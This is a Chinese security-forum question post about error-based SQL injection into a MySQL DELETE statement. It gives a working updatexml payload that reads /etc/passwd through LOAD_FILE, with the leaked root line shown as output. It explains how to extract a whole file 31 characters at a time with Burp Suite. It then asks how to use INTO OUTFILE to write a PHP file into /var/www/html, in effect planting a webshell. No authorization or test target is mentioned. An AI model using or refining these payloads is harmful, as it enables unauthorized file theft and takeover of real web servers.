求助MySQL delete语句 updatexml报错注入问题? 求助大佬!

2023-10-07 22:16:44 12 5236


事情是这样的:
被带入的数据库SQL:
DELETE FROM [Table]polloptions WHERE polloptionid='146640' and updatexml(1,concat(0x7e,substr((select LOAD_FILE('/etc/passwd')),1,31),0x7e),1)-- +' AND tid='18'
报错回显:XPATH syntax error: '~root:x:0:0:root:/root:/bin/bash'

这个使用updatexml函数 报错注入在知道绝对路径情况下读取任意文件是没问题,顶多就是每次回显32个字符,利用Burp Suite 爆破多次(每次substr()函数起始位置+31)就能读取完整的文件。
我的需求:想利用updatexml函数进行写文件,我在本地MySQL数据库环境也测试了,给我报错说什么语法错误。

报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near.............
我的本地数据库测试SQL语句:update student set name = 'admin' and updatexml(1,concat(0x7e,(select '123' into OUTFILE "/var/www/html/test.php"),0x7e),1)-- +' where ID = 1

或者updatexml函数 到底能不能 利用SQL 语句写文件?求助大佬!

关于作者

LiJun199811篇文章49篇回复

评论12次

要评论?请先  登录  或  注册